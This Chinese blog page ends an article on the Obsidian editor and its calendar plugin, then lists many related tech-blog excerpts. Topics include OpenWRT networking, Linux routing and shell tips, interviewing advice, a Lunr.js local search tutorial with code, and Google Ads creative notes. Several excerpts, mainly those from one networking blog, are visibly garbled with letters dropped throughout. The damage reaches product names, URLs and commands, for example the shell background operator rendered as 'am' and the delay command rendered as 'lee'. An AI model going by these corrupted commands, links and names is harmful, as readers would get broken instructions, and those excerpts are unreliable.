在设置菜单中启用插件后，您应该会看到日历视图出现在右侧边栏中。该插件会读取您的每日笔记设置，以了解您的日期格式、每日笔记模板的位置以及它创建的新每日笔记的位置。
如果你想了解更多，可以参见 Github 源码：obsidian-calendar-plugin。
如今，Obsidian 插件市场，所蕴含的宝藏已十分丰富，大凡能想到优化点，都已有人贡献出良好的设计方案。如果您有自己独特诉求，完全可以基于Obsidian，定制属于自己的插件，只需阅读相关文档，懂些 JavaScript 编程基础即可。具体可参见文章：为 Obsidian.md 创建插件 或 How to create your own Obsidian Plugin。
窃以为，好的工具与强大工具，其最大区别在于：前者会让使用者觉得自己跟软件本身都很强；而后者只会让使用者觉得工具很强。Obsidian 就属于前者，它能让用户 0 配置，即能快速上手使用；又能很好支持愿意折腾的朋友，在上面各种折腾，附加额外功能，实在是值得称赞。如今，只使用了没几天，尚有更多玩法儿，等待探索；欢迎各路朋友，分享您宝贵的建议和意见。
原文首发于个人最新博客：地表最强 Markdown 文本编辑工具——Obsidian | 悠然宜想亭。
您可能感兴趣的文章
- 博客 小胡子哥的个人网站 2022-05-13 10:21:18工作中最痛苦的事情莫过于单兵作战，所有的事情都自己一个人一肩抗，不仅艰辛，而且寂寞。一件复杂的事情，要让人参与进来，首先需要对这件事情进行有机分解，不能太碎片化，也不能太大块，得把事情的边界捋清楚。这让我想起了微服务的拆分，需要保持单一职责、高内聚低耦合，同时服务又不能太细，并且拆分后的服务之...
- 博客 小胡子哥的个人网站 2022-05-13 02:33:48刚加入阿里的时候，总听人调侃，“没有经历过故障的人生是不完整的”。最近几年，我感觉把别人一辈子都遇不到的故障都经历了一次，从刚开始的谨小慎微，到现如今还算是胆大心细。我在 15 年的时候就接手做淘宝 PC 端首页，当时流量最大的时候差不多有 1.5 亿；整个淘宝首页就我一个开发，对接大量三方接...
- 博客 轶哥博客 2022-05-10 14:01:07<>在Kali Liux中安装VMware Worktatio 16 Player和VMware Worktatio 16 Pro的方法大体一致，与Deia的安装方法相似。在Kali Liux中安装VMware Worktatio没有详细教程将会比较困难，特整理如下。
- 博客 二丫讲梵 2022-05-10 07:48:23如要阅读全文，点击标题跳转。整理记录各个包管理器，系统镜像，以及常用软件的好用镜像。Thanks Mirror。
- 博客 二丫讲梵 2022-05-10 07:48:06如要阅读全文，点击标题跳转。因为很多通过docker-compose拉起的项目，都归属到项目的分类之下了，在docker-compose分类下反而没有内容了，但是在用到的时候却又并不便于查找，因此本文对散落在各处的配置进行一个汇总搜集。
- 博客 轶哥博客 2022-05-09 13:35:14<>之前轶哥介绍过《OeWRT使用4G/5G无线网卡模块上网》的方法，文中对拨号上网部分描述不是很详细。本文我们就专门针对拨号上网的设置方法详细说明。
测试环境
- GL-MT300N-V2最新OeWRT官方固件：htt://oewrt.org/toh/hwdata/gl.iet/gl.iet_gl-mt300_v2
- 高通05c6:6001上网卡托（中沃ZM50 USB 4G网卡，支持电信/联通 4G/3G）。
- 博客 二丫讲梵 2022-05-08 18:40:28如要阅读全文，点击标题跳转。GitHub的Markdown目前不支持直接[TOC]渲染文章的目录，有些README则需要这样的效果，可以借助外部工具进行生成，也可以借助 GitHub Actions 自动生成，本文就介绍这种方式。
- 博客 二丫讲梵 2022-05-08 04:38:56如要阅读全文，点击标题跳转。学习周刊-总第52期-2022年第17周
- 博客 酷 壳 – CoolShell 2022-05-05 16:13:37
今天跟大家分享一个etcd的内存大量占用的问题，这是前段时间在我们开源软件Easegress中遇到的问题，问题是比较简单的，但是我还想把前因后果说一下，包括，为...
The post ETCD的内存问题 first appeared on 酷 壳 - CoolShell. - 博客 轶哥博客 2022-05-02 15:57:51<>通过网管型交换机配置VLAN和爱快搭配可以实现拓展WAN口，然而2.5G或万兆的网管型交换机价格不菲，而拓展WAN口并不需要全部口都是2.5G或者万兆，只需要出口的网卡是大速率的，就可以实现对WAN口的汇聚了。在《OeWRT设置VLAN》一文中我们提到OeWRT可以作为网管型交换机来设置VLAN使用，也尝试进行了《OeWRT与爱快链路聚合》，这次我们尝试使用软路由安装OeWRT配置VLAN配合爱快拓展WAN口。<>
<>如上图所示，我们通过OeWRT充当网管型交换机，将3个1G口的2500M网络分配给1个2.5G网卡，将另外两个1G口的2000M网络分配给另外一个2.5G网卡。富余的一个网卡让OeWRT在当交换机的同事作为旁路由。这样确保了每一个端口的速率都是充足的。
- 博客 轶哥博客 2022-05-02 14:26:10<>轶哥在《OeWRT设置VLAN》一文中提到，很多网管型交换机价格不菲，甚至比软路由还贵。而OeWRT是可以实现大部分网管型交换机功能的。例如
链路聚合，可以实现和NAS做链路聚合从而实现1G+1G的2G速率或者2.5G+2.5G的5G速率的带宽叠加，也可以和爱快LAN口或WAN口做链路聚合（例如《OeWRT配合爱快实现WAN口拓展》），实现端口汇聚，有效增加链路带宽的同时，提高链路的可靠性，满足对高带宽及高可靠性的需求。<>此文介绍的配置方法也适用于和爱快与网管型交换机的链路聚合。 - 博客 轶哥博客 2022-05-02 13:15:57<>2.5G的网管型交换机动辄千元，而可以安装OeWRT的2.5g软路由却量大实惠。OeWRT本身就可以作为网管型交换机使用，例如划分VLAN、链路聚合/端口汇聚（例如《OeWRT与爱快链路聚合》）、防火墙配置、流量统计、端口镜像都是可以的。<>通过OeWRT划分VLAN可将内部网络划分为多个局域网，满足网络资源的划分和管理需求，实现有效控制内网广播，增强网络的安全性和适应多业务。也可以轻松实现基于VLAN的多WAN口拓展，例如《OeWRT配合爱快实现WAN口拓展》。<>OeWRT设置VLAN非常简单但却没有明确的文章阐述方法。网络中的资料大都是老版本OeWRT的配置方式，不适用于独立网络端口的x86软路由，或者就是需要复杂的命令配置。甚至有网友因此转战ROS。
- 博客 轶哥博客 2022-05-02 12:15:11<>在Liux系统中，双网卡或多网卡上网并不会同时使用两者同时上网，只会优先把请求发送到优先级高的默认网关（对应网卡的内网网段除外）。插入多个网卡的时候，路由表中就会存在多个默认网关，访问外部网络的时候，系统根据路由原则，
Metric值小的网卡优先级高，会优先使用该网卡上网。<>在MacOS系统中，设置网卡优先级只需要在系统偏好设置-网络中设置设定网卡服务顺序，具体操作见《MacOS 同时使用内网和外网（双网卡同时联网）》。<>在Widow系统中，设置网卡优先级只需要设置网卡的跃点数，具体操作见《wi10链路聚合，双网卡带宽叠加负载均衡》（wi11同理）。<>而在Liux系统中，设置网卡优先级需要修改路由表配置，调整默认网关的Metric值。 - 博客 轶哥博客 2022-05-02 11:22:48<>在Shell脚本中，特别是Liux操作系统内置的各项启动脚本，经常会遇到需要延迟异步去执行的命令。例如在
/etc/rc.local文件或配置网卡相关的脚本文件里面，希望对应脚本能够先返回exit 0以免阻塞任务，然后再异步的去执行不关注执行结果的一些命令，甚至延迟执行异步命令。<>在*ux命令中，命令 am为后台进程命令（放在命令参数最后面的am表示设置此命令后台执行）。<>因此，在Shell中，命令之后跟上am即异步去执行该命令。<>lee是延时命令，lee 1代表将命令延迟1秒后执行。 - 博客 王子亭的博客 2022-05-02 01:00:00
我参加过几十场技术面试，其中作为面试官的次数要远多于候选人。
说起来在我第一次做面试官之前，并没有人教过我应该怎么做，我则一直将面试视作通过一小时左右的沟通，对候选人形成一个整体的印象，最后给出一个主观的评价的过程。在这么多次的面试中，我也总结出了一些经验可以和大家分享。
验证简历真实性
首先花一些时间聊一聊简历上提到的项目，请对方进一步介绍这个项目的业务、自己在其中承担的职责和遇到的问题。然后针对其中自己了解的部分提几个问题，如「据我所知这类项目的难点是某某方面，请问你是否有遇到、是如何解决的」，确认对方的项目经验是否真实、是否比较深度地参与了项目。
围绕简历提问
尽量提问对方了解和擅长的话题，让对方有足够的表达机会，发挥出正常水平，考察候选人擅长的部分要比不擅长的部分更有价值。
开放性问题
避免问有标准答案的问题，而是可以问「遇到某种情况时可能是什么原因、你会怎么做」或「请解释一下某个事物是如何工作的」这样开放性的问题，给对方足够的发挥空间、主动提到一些自己的知识和经验。
也许有些候选人不喜欢这样的问题，认为缺少安全感、不知道该说什么，但我觉得开放性问题才有足够的区分度，才能在短时间内对候选人形成立体的印象。我们可以在候选人实在不知道从何说起时，对问题再做进一步的解释和提示。
围绕话题由浅入深
应该针对同一话题准备多个难度逐步增加的问题，让对方回答时思路能够相对流畅，更容易考察对方在这一话题上的深度；反过来应该避免大量零散、无联系、无难度区分的小问题。
没必要执着于答案
有时在反复提示下对方的答案仍差那么一点，在面试时间大多比较紧张的情况下，我们没必要花更多的时间去让对方答出答案。在候选人表示无法准确回答问题时，也可以引导他做出一些合理的猜测（这时的重点在于猜测是否合理而不是是否正确）。只要候选人在这一问题上说足够多的话，我们就可以考察到其水平了，不一定要等他说出最后的答案。
自己不懂也没关系
在一开始，我会担心问出的问题我自己也不了解，对方回答之后会把自己问倒或者无法考察对方水平。但后来发现完全没有必要，因为面试官没有义务即时地对候选人的回答做出评价（告诉对方对还是错），即使对于不了解的话题，自己也可以从对方的自信程度、逻辑层面，对回答有一个大体的判断的。
现场编码可以很简单
候选人在现场会非常紧张，面试时间也有限，在现场编码环节没必要出太难的题，重点在于考察候选人是否有最基本编程思维和编码能力。例如我觉得一些难度不高，但适合用递归解决的题目会比较合适，可以考虑在候选人编码的过程中一直保持沟通，注重过程而不是结果。
同时我反对为候选人在面试前或面试后布置编码的作业，这会让候选人付出不对等的时间去准备面试，也很容易从「考察候选人的能力」变成「考察候选人的诚意」。
重复使用一套题库没什么问题
可以自己建立自己的面试题库，在一次次面试中对其进行反复地打磨，让问题更准确、考察更全面。有些话题可能是永远都不过时的，例如对于后端工程师可能是并发模型及与之相关的线程、内存等话题。
给对方提问的机会
一般面试的最后一个步骤是让候选人提问，不要把这个过程敷衍掉，可以引导对方提问，告诉对方都可以问哪些问题。如可以补充一下没有提及的技术话题、可以问我司的技术架构或选型、可以问所面试的职位和如果入职之后所参与的项目、可以问日常工作环境和时间等。这样可以让对方有一个主动打开话题的机会，互相判断需求是否匹配，即使没有通过面试也让对方对公司有一个比较好的印象。
有任何顾虑都可以 pass 掉
我们前面做了这么多都是为了让候选人有更好的面试体验、发挥出自己最好的水平。这种情况下如果仍对候选人某一方面的表现有顾虑的话，应该果断地拒绝掉，招进来一个不合适的人损失远比错过一个合适的人大。
沟通是否顺畅很重要
沟通是后续开展一切工作的基础，如果觉得与候选人的沟通不顺畅，对方总是不能理解自己的意思，那么即使候选人的技术水平满足要求，也应该慎重考虑。
留下面试的记录
我每次面试结束后都会尽快开始写对候选人的评价，大多在一两百字，先列出面试聊到的内容、觉得好和不好的地方、了解到的对方的技术栈，然后总结一下对候选人技术水平和沟通情况的评价。这样可以帮助自己整理思路，在候选人比较多的时候也不会记混，最后给出通过与否的评价，同时还能给下一轮的面试官提供参考。
- 博客 Randy's Blog 2022-05-01 08:00:001096
- 博客 二丫讲梵 2022-04-30 16:56:13如要阅读全文，点击标题跳转。学习周刊-总第51期-2022年第16周
- 博客 Jiajun的编程随想 2022-04-29 08:00:00《使用Drone CI构建CI/CD系统》我个人一直使用 `gitea` 来存放代码，之前部署一直都是用 `ansible`，每次在本地跑一个 `ansible-playbook` 命令，就在本地编译、同步代码、同步配置、部署到服务端，服务端个人通常使用 `supervisor`，毕竟个人的小项目啥的，例如博客，就懒得Docker镜像打包来打包去...
- 博客 Jiajun的编程随想 2022-04-29 08:00:00《PostgreSQL 操作笔记》之前我写了一篇 [MySQL操作笔记](./2020_05_01-mysql_notes.md.html) 用于记录我常用的MySQL操作，事实证明还是很有用处的，我经常需要翻到。由于今年我的目标之一是用熟PG，我也开始使用PG，但是很多时候不记得，还需要临时去查，因此再来记录一篇PG的操作笔记，方便以后查阅...
- 博客 Jiajun的编程随想 2022-04-28 08:00:00《Golang migrate 做数据库变更管理》最近在使用 [golang-migrate](https://github.com/golang-migrate/migrate) 做数据库变更管理，按照官方的教程，需要本地先下载一个二进制，命令行生成变更文件...
- 博客 MiaoTony's Blog 2022-04-26 20:30:001101
- 博客 轶哥博客 2022-04-24 08:10:27<>OeWRT默认的DHCP Server服务器是Dmaq，借助Dmaq可以实现根据网址段分配不同网关（旁路由），也可以实现根据MAC地址/IP地址分配不同网关。<>换句话说，可以实现一个OeWRT下搭配多个旁路由，方便针对不同的设备指定其实用的旁路由是哪一个。
<>Dmaq为小型网络提供网络基础设施：DNS、DHCP、Router Advertiemet 和 Network oot。它设计轻巧，资源占用少，适用于资源有限的路由器和防火墙。它还被广泛用于在智能手机和便携式热点上，并支持虚拟化框架中的虚拟网络。支持的平台包括Liux（带有glic和uclic）、Adroid、*BSD和Mac OS X。Dmaq包含在大多数Liux发行版以及FreeBSD、OeBSD和NetBSD的端口系统中。Dmaq提供全面的IPv6支持。 - 博客 构建我的被动收入 2022-04-24 08:00:00被动收入投资组合2022年Q1季报
- 博客 二丫讲梵 2022-04-24 06:12:15如要阅读全文，点击标题跳转。学习周刊-总第50期-2022年第15周
- 博客 轶哥博客 2022-04-22 13:55:05<>近期在使用2.5G速率的USB有线网卡的时候遇到诸多问题，特整理驱动安装过程如下。<>市面上常见的2.5G USB网卡通常使用RTL8156或RTL8156B芯片（例如绿联、比亚兹的2.5G有线网卡USB-A/TyeC采用的便是此芯片）。<>如果在爱快或ESXI安装2.5G网卡驱动或安装的是无线网卡，请阅读相关文章：《ESXI+爱快+OeWRT 使用2.5G USB网卡 RTL8156》、《ESXi 安装USB网卡驱动》、《Liux安装无线网卡驱动通用方法》。<>下面以OMV(OeMediaVault)安装RTL8156/8156B芯片的2.5G USB网卡为例，即Deia平台（Uutu或Kali等发行版安装方法一致）。注意，OMV需要先升级到OMV6《OMV5 升级 OMV6》。<>Liux内核版本最好升级到5.15+。
- 博客 二丫讲梵 2022-04-17 23:29:35如要阅读全文，点击标题跳转。学习周刊-总第49期-2022年第14周
- 博客 Jiajun的编程随想 2022-04-12 08:00:00《使用PostgreSQL做搜索引擎》最近我在研究用PostgreSQL来做搜索引擎，简单来说，搜索引擎主要使用的就是倒排索引，也就是把一篇文章或者语句，首先进行分词，将文章分成N个词语，每一个词语都有一定的权重，这一步里有很多地方可以优化，将文章切分成准确含义的分词，对后续搜索的影响十分大，这个可以参考 TF-IDF 或者 TEXTRANK 算法；第二步就是建立倒排索引，也就是将分词和该词语在文章中的位置关联起来；...
- 博客 轶哥博客 2022-04-10 23:19:52<>
<>Mac新增加的通用控制功能非常省事方便，特别是多台Mac同时使用的时候，如同在操作同一台设备的分屏。但是通用控制毕竟是新出的功能，还不太完善，以下是我在MacOS 12.4 Beta版本(21F5048e)遇到的两个问题及临时的解决办法。
- 博客 构建我的被动收入 2022-04-10 08:00:00本文从操作系统的视角介绍编程语言实现并发的底层概念，包括进程调度与I/O模型等。
- 博客 二丫讲梵 2022-04-09 16:11:16如要阅读全文，点击标题跳转。学习周刊-总第48期-2022年第13周
- 博客 轶哥博客 2022-04-06 22:11:48<>现在新购买默认搭载Widow系统的电脑一般都会提供一个
Widow Hello身份认证方案，例如指纹或者人脸识别。Howdy是一个在Liux上模仿Widow Hello的程序，可以实现在系统用户登录、锁屏登录、udo、u等身份认证时候使用人脸识别。<>Howdy开源地址：htt://githu.com/oltgolt/howdy<>Howdy程序本身的使用方法官方已经已经非常详细了，在此仅做补充。<>除了说明提到的Uutu or Liux Mit、Deia、Arch Liux、Fedora、oeSUSE这些Liux发行版之外，基于这些系统的一系列发行版系统都是可以用的。例如Raerry Pi OS、Kali。<>支持Widow Hello的笔记本电脑配有红外摄像头和红外光线发射器。红外网络摄像头通常可以在Liux上自动检测到，但默认情况下，红外光线发射器不起作用。为了使它们工作，请安装和配置liux-eale-ir-emitter。 - 博客 轶哥博客 2022-04-06 18:23:37<>Widow erver系列系统是支持多用户同时连接远程桌面独立使用互不影响的，但是常规版本并未直接支持。如果您使用Widow Vita、Widow 7/8/8.1/10的配置参考：htt://githu.com/tacor/rdwra。
wi11中无需安装此软件。 <>在Wi11中配置多用户同时登陆远程桌面（并发远程桌面RDP）之前，请先确保已开启远程桌面并单用户访问运行正常。<>需要注意 的是，除非手动修改，否则在Wi11的设置-账户-家庭和其他用户中添加其他用户默认添加的是Microoft用户而不是本地用户，添加用户后还需要在设置-系统-远程桌面-远程桌面用户中添加新配置的用户，操作完成后，还必须使用真实显示器本地登录一次Microoft用户才能将此用户用于远程桌面访问（首次登录需要配置用户信息），否则将提示无法使用此凭据，类似于密码错误的提示。需要通过管理登录并关闭为了提高安全性，仅允许对此设备上的Microoft账户使用Widow Hello登录，否则可能导致部分场景下无法使用Microoft用户进行远程登录。 - 博客 轶哥博客 2022-04-06 17:14:02<>修改
$Profile文件(otead.exe $Profile)，添加$OututEcodig = [coole]::IutEcodig = [coole]::OututEcodig = New-Oject Sytem.Text.UTF8EcodigUTF-8，兼容了大部分的程序输出的中文。 - 博客 二丫讲梵 2022-04-03 16:54:17如要阅读全文，点击标题跳转。学习周刊-总第47期-2022年第12周
- 博客 轶哥博客 2022-03-27 20:46:19<>由于无线上网卡驱动的完善，随着内核的更新大部分的4G/5G无线网卡得到免驱支持。<>OeWRT社区包含了大量的无线网卡驱动，其中不乏4G/5G模块，现如今市面上常见的模块型号都得到了支持。<>如果在其它Liux发行版使用4G/5G模块，请参考《Liux使用4G/5G无线网卡模块上网》。
- 博客 二丫讲梵 2022-03-26 05:28:58如要阅读全文，点击标题跳转。学习周刊-总第46期-2022年第11周
- 博客 MiaoTony's Blog 2022-03-25 19:30:001117
- 博客 构建我的被动收入 2022-03-25 08:00:00本文介绍Go/Java/C/C++/Swift等编程语言是如何实现泛型的。
- 博客 Jiajun的编程随想 2022-03-23 08:00:00《Nginx 源码阅读（三）: 连接池、内存池》这一篇文章中，我们主要来看看Nginx怎么实现连接池和内存池。通过这两个池，Nginx就可以避免频繁申请内存，从而提高性能。- [Nginx 源码阅读（一）: 启动流程](https://jiajunhuang.com/articles/2022_03_21-nginx_source_code_1.md.html)...
- 博客 Jiajun的编程随想 2022-03-22 08:00:00《Nginx 源码阅读（二）: 请求处理》上一篇我们了解了Nginx的启动流程，master和worker的分工。这一篇我们主要聚焦在Nginx是怎么处理请求的。- [Nginx 源码阅读（一）: 启动流程](https://jiajunhuang.com/articles/2022_03_21-nginx_source_code_1.md.html)...
- 博客 晚晴幽草轩 2022-03-21 16:21:00
对于博客或者文档，全文搜索是非常重要的功能。现如今，网站生成器工具，无论是静态的、携带完整后台的、还是基于低代码、无代码的，皆不可胜数，诸如：Hexo、Vuepress、Docsify、Hugo、Ghost 等，但之于「搜索」功能，或未提供、或不尽如人意；基于这样的背景，本文旨在探讨如何打造本地全文搜索？
根据先前的些许经验，要使得本地全文检索，拥有良好体验，至少要包含以下几个方面：
- 基于全文本内容，建好索引（数据），支持用户输入
关键字，能快速、准确检索到结果； - （实时）展示检索结果列表，高亮
检索关键字，最好可以按照匹配程度高低来排序； - 支持点击结果列表项跳转至页面，高亮所有关键字，并将页面滚动至第一个关键字位置；
- 更多优化，支持用户
分词搜搜，增加-、\*等匹配方式（一般来讲，满足以上三条已足够）；
下面，与大家分享下，如何通过简洁操作，做到以上三条：
如何检索关键字？
方案一
基于类 Gitbook 默认方案来创建索引。如快应用文档，其数据来源于：search_plus_index.json；在本地编译 md 文件时，将所有其内容纯文本化，作为数据源，并将其他信息如路径、标题、关键字等，一并存储于该 JSON 文件；发起关键字检索时，只需读取该 json 内容，并逐个遍历；将存有关键字的项 push 至结果数组，从而展示给用户就好。
创建索引
1gitbook build发起搜索
1234567891011121314151617181920function query(keyword) {if (keyword == null || keyword.trim() === '') return;var results = [],index = -1;for (var page in INDEX_DATA) {if ((index = INDEX_DATA[page].body.toLowerCase().indexOf(keyword.toLowerCase())) !== -1) {results.push({url: page,title: INDEX_DATA[page].title,body: INDEX_DATA[page].body.substr(Math.max(0, index - 50), MAX_DESCRIPTION_SIZE).replace(new RegExp('(' + escapeReg(keyword) + ')', 'gi'), '<span class="search-highlight-keyword">$1</span>')});}}displayResults({count: results.length,query: keyword,results: results});}方案二
基于 Lunr.js （A bit like Solr, but much smaller and not as bright.）结合 nodejieba（”结巴”中文分词的 Node.js 版本），来实现中文全文搜索。
Lunr.js is a small, full-text search library for use in the browser. It indexes JSON documents and provides a simple search interface for retrieving documents that best match text queries.
Lunr.js 是一个用于浏览器的小型全文搜索库。它索引 JSON 文档并提供一个简单的搜索界面，用于检索与文本查询最匹配的文档。它具有以下功能特征：
- 简单的：Lunr 设计小巧但功能齐全，让您无需外部服务器端搜索服务即可提供出色的搜索体验。
- 可扩展：添加强大的语言处理器为用户查询提供更准确的结果，或调整内置处理器以更好地适应您的内容
- 到处：Lunr 没有外部依赖项，可以在您的浏览器或带有 node.js 的服务器上工作；
基本原理：Lunr 将字符串拆分为
单词标记，然后经过一系列处理（score计算分数、metadata元数据），最终组装成为结果对象数组；关于这块儿详细信息，可参见 Lunr.js 核心概念；值得一提的是，Lunr 不能很好支持中文，因此对于中文分析，有借助nodejieba做了处理。具体创建索引的过程，参见如下代码（基于 Gatsbyjs 的实现）：创建索引
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748const marked = require('marked')const striptags = require(`striptags`)const lunr = require('lunr')require('./src/helper/lib/lunr.stemmer.support.js')(lunr)require('./src/helper/lib/lunr.zh.js')(lunr)const createIndex = async (docsNodes, type, cache) => {const cacheKey = `IndexLunr`const cached = await cache.get(cacheKey)if (cached) {return cached}const documents = []const store = {}// iterate over all postsfor (const node of docsNodes) {const { slug } = node.fieldsconst title = node.frontmatter.titleconst tag = node.frontmatter.tagconst content = striptags(marked.parse(node.rawMarkdownBody))documents.push({slug,title,tag,content,})store[slug] = {title,tag,content,}}const index = lunr(function () {this.use(lunr.zh)this.ref('slug')this.field('title')this.field('tag')this.field('content')for (const doc of documents) {this.add(doc)}})const json = { index: index.toJSON(), store }await cache.set(cacheKey, json)return json}发起搜索
1234567891011121314151617181920212223242526272829303132333435getQueryResult(query) {const lunrData = this.props.lunrDataconst { store } = lunrData.LunrIndex// Lunr in action hereconst index = Index.load(lunrData.LunrIndex.index)let results = []try {// Search is a lunr methodresults = index.search(query).map(({ ref }) => {// Map search results to an array of {slug, title, excerpt} objectsreturn {slug: ref,...store[ref],}})return results || []} catch (error) {console.error(`Something Error: ${error}`)return results}}handleSearch(keywords) {let queryResultArr;if (!keywords) {queryResultArr = []} else {queryResultArr = this.getQueryResult(keywords)}this.keywords = keywordsthis.setState({queryResultArr: queryResultArr,isShowResults: queryResultArr.length > 0})}如何高亮文本？
12345678highlightKeyword(keyword) {const contentDom = document.querySelector(`#layout .wrapper .content`)const instance = new Mark(contentDom);instance.mark(keyword, {exclude: ["h1"],className: "mark-highlight"});}如何定位到具体内容？
1234setTimeout(() => {const markNode = document.querySelector("#layout .mark-highlight");markNode && markNode.scrollIntoView({ behavior: "smooth", block: "start" });}, 1000)先前基于 Gatsbyjs 搭建一个静态网站，上文中提及的代码，完整版可参见：blog.nicelinks.site | search。在线示例：倾城周刊、快应用消息中心。
您可能感兴趣的文章
- 基于全文本内容，建好索引（数据），支持用户输入
- 博客 二丫讲梵 2022-03-21 09:02:12如要阅读全文，点击标题跳转。诚然，微拍堂有它不完美的地方，幸运的是，我遇到了一群近乎完美的人组成的完美的团队，我们之间的关系没有任何缝隙，我们互相信任，彼此坦诚，真诚分享，并肩作战，共同成长。吃饭当晚，我们每个人也都感慨着，细数着每个人的优秀与负责任，并真切感受到这样一个团队氛围的珍贵。几个月后，我在朋友圈发表：再也遇不到了，好在曾经拥有过！
- 博客 Jiajun的编程随想 2022-03-21 08:00:00《Nginx 源码阅读（一）: 启动流程》去年读了一部分Nginx源码，后来耽搁了，最近决定捡起来做完这件事情。说起Nginx源码，我主要是想了解Nginx的代码组织、架构、master/worker分工、以及一个请求的处理流程。对其它的我就不是那么感兴趣了。因此这一系列Nginx源码阅读也主要是围绕这些话题来写的...
- 博客 MiaoTony's Blog 2022-03-20 23:30:001124
- 博客 轶哥博客 2022-03-20 22:00:48<>由于RedHat停止了CetOS8的支持，同时RedHat允许开发者注册16个正版RHEL系统，我决定将部分 CetOS 8 服务器更新到 RHEL 8。以下两篇文章是官方发布的与之密切相关的内容：<>CetOS Project hift focu to CetOS Stream<>New Year, ew Red Hat Eterrie Liux rogram: Eaier way to acce RHEL<>注意，因参考本文操作导致的任何损失与鄙人无关，专业用户请直接访问官方升级说明（请注意官方源无法使用，因此部分ed命令需要修改）：htt://acce.redhat.com/documetatio/e-u/red_hat_eterrie_liux/8/html-igle/covertig_from_a_rm-aed_liux_ditriutio_to_rhel/idex 。
关于为什么不选择升级至CetOS Stream？
<>一直以来我的客户都在使用正版RHEL系统，购买了即时的订阅，只有部分预算有限的客户使用了CetOS系统，但无论如何他们对于安全、稳定性或技术支持即时性的要求都很高。<>能够得到官方的技术支持是我们更加看重的。<>目前不支持从CetOS Stream转换/升级到RHEL8，不排除将来也不支持，如果后续有升级需求将不得不重装系统。同理，已经升级到CetOS Stream的用户就别折腾了，必须重装。（只是因为更新到vault源更新过软件，cat /etc/ytem-releae却得到CetOS Stream releae 8，说明实际已经升级到CetOS Stream了，是不可以升级到RHEL 8的。） - 博客 二丫讲梵 2022-03-20 01:53:04如要阅读全文，点击标题跳转。学习周刊-2022年第10周
- 博客 Jiajun的编程随想 2022-03-17 08:00:00《Go 泛型简明教程》Go 1.18 发布了，其中一大特性就是泛型，说到泛型， 曾经我也是不怎么喜欢泛型的，因为泛型会增加代码的复杂度，但是后来随着经验的增加，我还是正视了泛型，泛型有其存在的必要性，例如当实现一些容器库、算法库的时候，有泛型就会简单方便很多...
- 博客 Jiajun的编程随想 2022-03-15 08:00:00《KVM 显卡穿透给 Windows》很久以前就想这么玩，但是碍于各种条件，一直没有实现，直到最近，得到一块额外的亮机卡，于是就有了这次折腾。那么通过显卡穿透，我们可以做啥呢？比如：我们可以用Linux做宿主机，虚拟化一个Windows出来，但是Windows使用独显打游戏；或者我们可以把显卡透传给虚拟机挖矿，等等。我的宿主机是AMD平台，宿主机使用AMD显卡，虚拟机使用Nvidia显卡...
- 博客 晚晴幽草轩 2022-03-14 16:21:00
自 2021 年九月，就有尝试在 Google Ads，为个人应用倾城之链投递广告，以增加转化（访问量）；Google Ads 使用比较简单，价格相对也便宜，可谓「物美价廉」；其中，比较复杂的是：“为您的自适应型展示广告添加素材资源，争取更多转化”；为提升转化，就得逼着自己去“设计”「广告素材」，此篇文章，旨在记录在制作过程中的些许心得，以期后续可不断提升；也希望能给有相同诉求的朋友，提供些参考（备注：负面的也蛮有价值）。
广告标题
标题是广告的第一行，最多可以包含 30 个字符。最多可以添加 3 个标题，这些标题将与其他素材资源组合以生成广告。在实际显示时，标题的长度取决于展示广告的网站。如果需要省略内容，则会以省略号结尾。
最多可添加 5 个标题。以上是 Google 对标题的要求。下面是我对倾城之链广告标题的探索：
- 免费、优质资源网站导航平台（效果非常好）
免费、优质资源网站分享平台- 发现高品质、免费资源网站（效果非常好）
分享 & 发现免费资源网站平台免费、实用的资源网站导航最能开阔您思维的 100 个网站- 最能提高工作效率的 100 个网站（效果非常好）
- 最能提升生活品质的 100 个网站（效果非常好）
- 倾城之链：倾心缔造，痴心为你（Google 正在学习）
发现高品质、免费资源网站（效果不理想 @2022.02.18）- 倾城之链：倾心缔造，痴心为你（效果非常好 @2022.02.18）
最能提升生活品质的 100 个网站~~（效果不佳）- 倾城之链，您网络冲浪的参考必备（Google 正在学习）
素材要求
Google Ads 素材，其尺寸要求比例为：
1.91：1；内容，不能用不太相关的（如单纯的美女照片）；格式，无要求（png、jpeg、jpg都可以，想必 Google 本身也会对上传的素材，另做处理）。使用工具
考虑没有系统学习过设计，另外也缺乏相应灵感；在制作过程中，有尝试用了多款图片编辑器软件：
- 超级简单易用的平面设计软件 – Canva；
- Fotor在线设计工具免费设计素材和模板在线平面设计网站；
- 图怪兽-在线图片编辑器-在线PS抠图-图片制作-搞定平面设计不求人；
- Picmaker - Fast, Free and Easy Online Graphic Design Software；
素材资源
Google Ads，会针对性给出建议（有明确的优化得分），包括出价和预算、广告与附加信息等。这个「广告与附加信息」中，就含有针对素材资源的建议；当 Google “发现”您的某些自适应型展示广告的广告效力低于“极佳”水平 ，就会给出建议；根据建议就可以把不理想的素材撤掉，下面是近两月业余时间，所制作的一些图；有划分为理想素材和不理想素材（根据 Google Ads 的建议）：
自适应型展示广告是一种基于素材资源的广告，这意味着您可以通过上传各种素材资源（如图片、标题文字、徽标和广告内容描述）来制作此类广告，而且 Google 会通过这些素材资源的组合来生成广告，以便在展示时提供最佳用户体验。
当然，Google 广告引擎本身会有学习的过程，在不断投递过程中，素材是否合适，也是在持续变化；因此下面提及的状态，也会有所更新（本文的描述，却不会持续跟进，望周知）。
最佳素材
理想素材
不理想素材
素材制作心得
Google 展示广告可投放到超过 300 万个网站和超过 65 万款应用中，并可在 Gmail 和 YouTube 等 Google 产品和服务中展示。本指南将以自适应型展示广告为重点，为您讲解如何制作展示广告的素材资源。
自适应型展示广告是一种基于素材资源的广告。素材资源就是广告的组成部分，例如标题、广告内容描述、图片或徽标。在制作基于素材资源的广告时，您需要提供标题、广告内容描述、图片和徽标。Google 会运用机器学习算法在整个网络上用无数种排列方式对这些素材资源进行组合，并会持续优化，以便获得更好的效果。
如何制作谷歌自适应广告素材，在 Google 广告素材最佳做法指南中，已经给出了较为详细的说明，大体总结如下：
营销图片
图片是自适应型展示广告中最重要的元素。您可以上传自己的图片，也可以从 Google 图片库中选择。制作自适应型展示广告时，您最多可以上传 15 张图片，可使用的图片宽高比有 2 种，分别为 1.91:1（横向）和 1:1（方形）。最少要上传 2 张图片，其中至少有 1 张是宽高比为 1.91:1 的横向图片。
根据广告版式，上传的图片可能会以不同的尺寸显示。系统会调整图片的大小，以适应特定的广告尺寸。
使用高品质图片
图片有助于用户了解您的商家、产品和品牌，是广告取得理想效果的关键所在。
